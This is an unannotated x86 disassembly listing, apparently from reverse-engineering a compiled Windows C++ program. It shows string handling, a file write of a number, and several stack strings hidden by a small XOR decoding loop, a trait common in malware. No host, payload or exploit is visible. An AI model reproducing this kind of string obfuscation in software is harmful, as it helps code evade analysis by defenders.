add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x230]
cmp ecx, 0x10
jb 0x4194e6
mov edx, dword [ebp - 0x244]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4194dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a02e
push ecx
push edx
call fcn.004dd831
add esp, 8
cmp dword [ebp - 0xf4], 0
lea eax, [ebp - 0x104]
mov dword [ebp - 0x234], 0
setbe byte [ebp - 0x29]
mov dword [ebp - 0x230], 0xf
sub esp, 0x18
mov byte [ebp - 0x244], 0
mov ecx, esp
push eax
call fcn.00466580
mov cl, byte [ebp - 0x29]
call fcn.00416320
movaps xmm0, xmmword [0x527870]
add esp, 0x18
movups xmmword [ebp - 0x142], xmm0
mov dword [ebp - 0x132], 0xc2df838b
xor ecx, ecx
mov dword [ebp - 0x12e], 0xf5f8f88f
mov dword [ebp - 0x12a], 0xe2e6f1fb
mov word [ebp - 0x126], 0x100
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x142], al
inc ecx
cmp ecx, 0x1c
jb 0x419560
mov byte [ebp - 0x125], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0xeab2bcb9
mov dword [ebp - 0x19], 0x8380f1
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x419590
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0x44], 0xeab2bcb9
mov dword [ebp - 0x40], 0x8380ed
mov byte [ebp - 0x3c], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 7
jb 0x4195b6
xorps xmm0, xmm0
mov byte [ebp - 0x3c], 0
lea ecx, [ebp - 0x368]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4195f0
sub ecx, edx
lea eax, [ebp - 0x368]
push ecx
push eax
lea ecx, [ebp - 0xcc]
call fcn.00402870
mov byte [ebp - 4], 0x1e
xor ecx, ecx
movaps xmm0, xmmword [0x526fa0]
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xd8], 0x8ecb838b
mov dword [ebp - 0xd4], 0x92e4e280
mov word [ebp - 0xd0], 0x91
mov byte [ebp - 0xce], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 0x19
jb 0x419644
lea eax, [ebp - 0xcc]
mov byte [ebp - 0xce], 0
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x120]
call fcn.0046a3e0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.00466290
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
mov ecx, dword [ebp - 0x15c]
cmovae edx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
sub eax, esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], esi
push ecx
push edx
cmp ecx, eax
ja 0x41971f
cmp dword [ebp - 0x54], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x58], eax
lea esi, [ebp - 0x68]
cmovae esi, dword [ebp - 0x68]
mov eax, dword [ebp - 0x28]
add eax, esi
push eax
call fcn.004df290
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x68]
jmp 0x41972f
mov byte [ebp - 0x26], 0
push dword [ebp - 0x26]
push ecx
lea ecx, [ebp - 0x68]
call fcn.0046c3b0
mov dword [ebp - 0x21c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0x218], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x22c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x21c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x22c]
call fcn.00466290
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov edx, dword [ebp - 0x8c]
cmovae ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x88]
sub eax, edx
mov dword [ebp - 0x28], edx
push edi
push ecx
cmp edi, eax
ja 0x419837
cmp dword [ebp - 0x88], 0x10
lea esi, [ebp - 0x9c]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x9c]
mov dword [ebp - 0x8c], eax
lea eax, [esi + edx]
push eax
call fcn.004df290
mov eax, dword [ebp - 0x28]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x9c]
jmp 0x41984a
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x26]
push edi
call fcn.0046c3b0
mov dword [ebp - 0x204], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x200], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x214], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x204], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x142]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x214]
call fcn.00466290
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x200]
cmp ecx, 0x10
jb 0x41990c
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419902
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x419965
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41995b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x218]
cmp ecx, 0x10
jb 0x4199be
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4199b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x419a11
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419a07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x419a61
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419a57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x419aba
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419ab0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a033
push ecx
push edx
call fcn.004dd831
add esp, 8
sub esp, 0x18
mov dword [ebp - 0xbc], 0
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xb8], 0xf
mov ecx, esp
mov byte [ebp - 0xcc], 0
push eax
call fcn.00466580
xor cl, cl
call fcn.00416320
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x419b2e
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419b24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a038
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x419b6c
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419b62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a038
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x419baa
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419ba0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a038
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x419be5
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419bdb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a03d
push ecx
push edx
call fcn.004dd831
add esp, 8
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x419ed8
mov ecx, esi
mov dword [ebp - 0xbc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
movups xmmword [ebp - 0xcc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419c13
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xcc]
call fcn.00402870
mov byte [ebp - 4], 0x2b
xor ecx, ecx
mov dword [ebp - 0x38], 0xeab3ccd6
mov dword [ebp - 0x34], 0x100d0f2
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x419c40
mov byte [ebp - 0x31], 0
xor ecx, ecx
mov dword [ebp - 0x1b], 0xf9fceec7
mov word [ebp - 0x17], 0xfa
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x419c65
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419c80
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [0x534b54]
sub eax, edx
cmp eax, ecx
jb 0x41a042
cmp dword [0x534b58], 0x10
mov eax, str.1114
push edx
cmovae eax, dword [str.1114]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x120]
call fcn.0046dfc0
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x2c
push eax
lea ecx, [ebp - 0x120]
call fcn.00466290
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x104], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x104]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0xcc]
call fcn.00466300
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x419d56
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419d4c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a047
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x419d94
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419d8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a047
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x14], 0x100feec
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 2
jb 0x419da0
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0xcc]
mov byte [ebp - 0x11], 0
cmovae eax, dword [ebp - 0xcc]
push ecx
push eax
call fcn.004e3680
mov esi, eax
add esp, 8
test esi, esi
je 0x419e9e
call fcn.00414b20
test edx, edx
jg 0x419e06
jl 0x419dec
test eax, eax
jae 0x419e06
neg eax
lea ecx, [ebp - 0x3b]
adc edx, 0
neg edx
push edx
push eax
call fcn.00471120
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x419e12
push edx
push eax
lea ecx, [ebp - 0x3b]
call fcn.00471120
mov ecx, eax
xor edx, edx
lea eax, [ebp - 0x3b]
add esp, 8
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
cmp ecx, eax
jne 0x419e38
mov ecx, 0xf
mov byte [ebp - 0x68], dl
mov dword [ebp - 0x54], ecx
jmp 0x419e4d
lea eax, [ebp - 0x3b]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x68]
call fcn.00402870
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x58]
push esi
cmp ecx, 0x10
lea eax, [ebp - 0x68]
push edx
cmovae eax, dword [ebp - 0x68]
push 1
push eax
call fcn.004eb488
push esi
call fcn.004e6f08
mov ecx, dword [ebp - 0x54]
add esp, 0x14
cmp ecx, 0x10
jb 0x419e9e
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419e94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a04c
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x419ed8
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419ece
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a051
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x419f12
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419f08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a056
push ecx
push edx
call fcn.004dd831
add esp, 8
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1a0], 0xf
mov byte [ebp - 0x1b4], 0
cmp eax, 0x10
jb 0x419f69
mov edx, dword [ebp - 0x184]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x419f5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a056
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x248]
cmp ecx, 0x10
jb 0x419fa3
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419f99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a056
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x1b8]
cmp ecx, 0x10
jb 0x419fdd
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419fd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a056
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402050
call fcn.00402050
call fcn.00402050
push eax
call fcn.004dc7db
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
push eax
call fcn.004dc7db
call fcn.004e2ad0
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.00402050
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
call fcn.004e2ad0
int3